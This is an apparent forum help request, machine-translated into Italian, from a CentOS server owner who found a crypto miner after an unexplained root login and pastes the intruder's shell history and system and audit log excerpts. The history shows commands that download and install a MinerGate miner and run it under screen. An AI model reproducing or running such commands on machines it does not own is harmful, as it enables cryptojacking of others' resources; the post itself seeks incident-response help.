Oggi ho visto che il mio server è molto carico. Quando ho iniziato a scavare, ho visto che qualcuno ha effettuato il login come root (nonostante l'utente root non avesse una password), installato minatore ed eseguito schermo.
SSH in ascolto su un'altra porta.
Com'è possibile? Si prega di avvisare! Come posso trovare sicurezza se c'è stata una violazione?
Sistema operativo: CentOS Linux versione 7.3.1611
Ricevo un'immagine dal link link
Atack è iniziato alle 15:11 Dalla storia
40 last|less
41 ls
42 wget -O minergate.rpm link_https://minergate.com/download/rpm-cli
43 yum -y install screen wget
44 ls
45 wget -O minergate.rpm link_https://minergate.com/download/rpm-cli
46 yum -y install ./minergate.rpm
47 screen
48 exit
Dalla cronologia dello schermo
minergate-cli --user [email protected] --xmr
segreto
Jun 20 13:32:45 ows-ds-app-01 sudo: centos : TTY=unknown ; PWD=/home/centos ; USER=root ; COMMAND=/bin/sh -c echo BECOME-SUCCESS-cttsrdtldonikyessrgqdyudkdbhrixs; /usr/bin/python Jun 20 13:32:46 ows-ds-app-01 sudo: centos : TTY=unknown ; PWD=/home/centos ; USER=root ; COMMAND=/bin/sh -c echo BECOME-SUCCESS-vlzztgrqfqklsnmmgccjqbtkofbspumu; /usr/bin/python Jun 20 13:33:01 ows-ds-app-01 su: pam_unix(su:session): session opened for user datasources by (uid=0) Jun 20 13:33:01 ows-ds-app-01 su: pam_unix(su:session): session closed for user datasources Jun 20 13:33:02 ows-ds-app-01 sudo: centos : TTY=unknown ; PWD=/home/centos ; USER=root ; COMMAND=/bin/sh -c echo BECOME-SUCCESS-miotiarcesivehgeroocljadmvjdxdpb; /usr/bin/python Jun 20 13:34:04 ows-ds-app-01 sshd[22042]: Received disconnect from 93.169.8.251 : 11: disconnected by user Jun 20 13:34:04 ows-ds-app-01 sshd[22039]: pam_unix(sshd:session): session closed for user centos Jun 20 15:11:48 ows-ds-app-01 login: pam_unix(login:auth): check pass; user unknown Jun 20 15:11:48 ows-ds-app-01 login: pam_unix(login:auth): authentication failure; logname=LOGIN uid=0 euid=0 tty=tty1 ruser= rhost= Jun 20 15:11:50 ows-ds-app-01 login: FAILED LOGIN 1 FROM tty1 FOR (unknown), User not known to the underlying authentication module Jun 20 15:11:59 ows-ds-app-01 unix_chkpwd[25144]: password check failed for user (root) Jun 20 15:11:59 ows-ds-app-01 login: pam_unix(login:auth): authentication failure; logname=LOGIN uid=0 euid=0 tty=tty1 ruser= rhost= user=root Jun 20 15:11:59 ows-ds-app-01 login: pam_succeed_if(login:auth): requirement "uid >= 1000" not met by user "root" Jun 20 15:12:01 ows-ds-app-01 login: FAILED LOGIN 2 FROM tty1 FOR root, Authentication failure Jun 20 15:12:09 ows-ds-app-01 login: pam_unix(login:auth): check pass; user unknown Jun 20 15:12:09 ows-ds-app-01 login: pam_unix(login:auth): authentication failure; logname=LOGIN uid=0 euid=0 tty=tty1 ruser= rhost= Jun 20 15:12:11 ows-ds-app-01 login: FAILED LOGIN SESSION FROM tty1 FOR (unknown), User not known to the underlying authentication module Jun 20 15:12:15 ows-ds-app-01 sshd[934]: Received signal 15; terminating. Jun 20 15:12:15 ows-ds-app-01 sshd[15541]: pam_unix(sshd:session): session closed for user centos Jun 20 15:14:50 ows-ds-app-01 polkitd[549]: Loading rules from directory /etc/polkit-1/rules.d Jun 20 15:14:50 ows-ds-app-01 polkitd[549]: Loading rules from directory /usr/share/polkit-1/rules.d Jun 20 15:14:50 ows-ds-app-01 polkitd[549]: Finished loading, compiling and executing 2 rules Jun 20 15:14:50 ows-ds-app-01 polkitd[549]: Acquired the name org.freedesktop.PolicyKit1 on the system bus Jun 20 15:14:53 ows-ds-app-01 sshd[929]: Server listening on 0.0.0.0 port 222. Jun 20 15:14:53 ows-ds-app-01 sshd[929]: Server listening on :: port 222. Jun 20 15:15:05 ows-ds-app-01 login: pam_unix(login:session): session opened for user root by LOGIN(uid=0) Jun 20 15:15:05 ows-ds-app-01 login: ROOT LOGIN ON tty1 Jun 20 15:20:05 ows-ds-app-01 sshd[2429]: reverse mapping checking getaddrinfo for pppoe-93-169-8-251.customer.net.com [93.169.8.251 ] failed - POSSIBLE BREAK-IN ATTEMPT! Jun 20 15:20:08 ows-ds-app-01 sshd[2429]: Postponed publickey for centos from 93.169.8.251 port 49504 ssh2 [preauth] Jun 20 15:20:08 ows-ds-app-01 sshd[2429]: Accepted publickey for centos from 93.169.8.251 port 49504 ssh2: RSA 95:44:b8:2b:de:66:34:df:bb:08:48:0a:bf:7d:7c:76 Jun 20 15:20:08 ows-ds-app-01 sshd[2429]: pam_unix(sshd:session): session opened for user centos by (uid=0) Jun 20 15:20:38 ows-ds-app-01 login: pam_unix(login:session): session closed for user root Jun 20 15:22:59 ows-ds-app-01 sshd[2432]: Received disconnect from 93.169.8.251 : 11: disconnected by user
audit.log
type=USER_AUTH msg=audit(Tue Jun 20 15:11:48 2017.778:100956): pid=601 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:local_login_t:s0-s0:c0.c1023 msg='op=PAM:authentication grantors=? acct="?" exe="/usr/bin/login" hostname=? addr=? terminal=tty1 res=failed' type=USER_LOGIN msg=audit(Tue Jun 20 15:11:50 2017.875:100957): pid=601 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:local_login_t:s0-s0:c0.c1023 msg='op=login acct="(unknown)" exe="/usr/bin/login" hostname=? addr=? terminal=tty1 res=failed' type=USER_AUTH msg=audit(Tue Jun 20 15:11:59 2017.474:100958): pid=601 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:local_login_t:s0-s0:c0.c1023 msg='op=PAM:authentication grantors=? acct="root" exe="/usr/bin/login" hostname=? addr=? terminal=tty1 res=failed' type=USER_LOGIN msg=audit(Tue Jun 20 15:12:01 2017.455:100959): pid=601 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:local_login_t:s0-s0:c0.c1023 msg='op=login id=0 exe="/usr/bin/login" hostname=? addr=? terminal=tty1 res=failed' type=USER_AUTH msg=audit(Tue Jun 20 15:12:09 2017.424:100960): pid=601 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:local_login_t:s0-s0:c0.c1023 msg='op=PAM:authentication grantors=? acct="?" exe="/usr/bin/login" hostname=? addr=? terminal=tty1 res=failed' type=USER_LOGIN msg=audit(Tue Jun 20 15:12:11 2017.581:100961): pid=601 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:local_login_t:s0-s0:c0.c1023 msg='op=login acct="(unknown)" exe="/usr/bin/login" hostname=? addr=? terminal=tty1 res=failed' type=SERVICE_START msg=audit(Tue Jun 20 15:12:15 2017.610:100962): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=rhel-dmesg comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' type=SERVICE_STOP msg=audit(Tue Jun 20 15:12:15 2017.610:100963): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=rhel-dmesg comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' type=CRYPTO_KEY_USER msg=audit(Tue Jun 20 15:12:15 2017.618:100964): pid=934 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=destroy kind=server fp=eb:1d:51:a6:5a:6e:00:ce:f6:4e:dd:a7:5a:9f:e2:80 direction=? spid=934 suid=0 exe="/usr/sbin/sshd" hostname=? addr=? terminal=? res=success' type=CRYPTO_KEY_USER msg=audit(Tue Jun 20 15:12:15 2017.618:100965): pid=934 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=destroy kind=server fp=b2:32:0e:6d:80:6c:0e:6f:36:0e:38:6b:45:89:02:f5 direction=? spid=934 suid=0 exe="/usr/sbin/sshd" hostname=? addr=? terminal=? res=success' type=CRYPTO_KEY_USER msg=audit(Tue Jun 20 15:12:15 2017.618:100966): pid=934 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=destroy kind=server fp=4e:1b:1f:0f:a7:e9:de:31:ff:37:00:48:5f:c2:e6:07 direction=? spid=934 suid=0 exe="/usr/sbin/sshd" hostname=? addr=? terminal=? res=success' type=SERVICE_START msg=audit(Tue Jun 20 15:12:15 2017.619:100967): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=cloud-final comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' type=SERVICE_STOP msg=audit(Tue Jun 20 15:12:15 2017.619:100968): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=cloud-final comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' type=SERVICE_START msg=audit(Tue Jun 20 15:12:15 2017.620:100969): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=cloud-config comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' type=SERVICE_STOP msg=audit(Tue Jun 20 15:12:15 2017.621:100970): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=cloud-config comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' type=ANOM_ABEND msg=audit(Tue Jun 20 15:12:15 2017.625:100971): auid=1000 uid=0 gid=0 ses=3091 subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 pid=23314 comm="vim" reason="memory violation" sig=11 type=USER_END msg=audit(Tue Jun 20 15:12:15 2017.627:100972): pid=16811 uid=0 auid=1000 ses=3091 subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 msg='op=PAM:session_close grantors=pam_keyinit,pam_limits acct="root" exe="/usr/bin/sudo" hostname=? addr=? terminal=/dev/pts/1 res=success' type=CRED_DISP msg=audit(Tue Jun 20 15:12:15 2017.627:100973): pid=16811 uid=0 auid=1000 ses=3091 subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 msg='op=PAM:setcred grantors=pam_env,pam_unix acct="root" exe="/usr/bin/sudo" hostname=? addr=? terminal=/dev/pts/1 res=success' type=USER_END msg=audit(Tue Jun 20 15:12:15 2017.639:100974): pid=15541 uid=0 auid=1000 ses=3091 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=PAM:session_close grantors=pam_selinux,pam_loginuid,pam_selinux,pam_namespace,pam_keyinit,pam_keyinit,pam_limits,pam_systemd,pam_unix,pam_lastlog acct="centos" exe="/usr/sbin/sshd" hostname=93.169.8.251 addr=93.169.8.251 terminal=ssh res=success' type=CRED_DISP msg=audit(Tue Jun 20 15:12:15 2017.639:100975): pid=15541 uid=0 auid=1000 ses=3091 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=PAM:setcred grantors=pam_env,pam_unix acct="centos" exe="/usr/sbin/sshd" hostname=93.169.8.251 addr=93.169.8.251 terminal=ssh res=success' type=USER_END msg=audit(Tue Jun 20 15:12:15 2017.641:100976): pid=15541 uid=0 auid=1000 ses=3091 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=login id=1000 exe="/usr/sbin/sshd" hostname=? addr=? terminal=/dev/pts/1 res=success' type=USER_LOGOUT msg=audit(Tue Jun 20 15:12:15 2017.641:100977): pid=15541 uid=0 auid=1000 ses=3091 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=login id=1000 exe="/usr/sbin/sshd" hostname=? addr=? terminal=/dev/pts/1 res=success'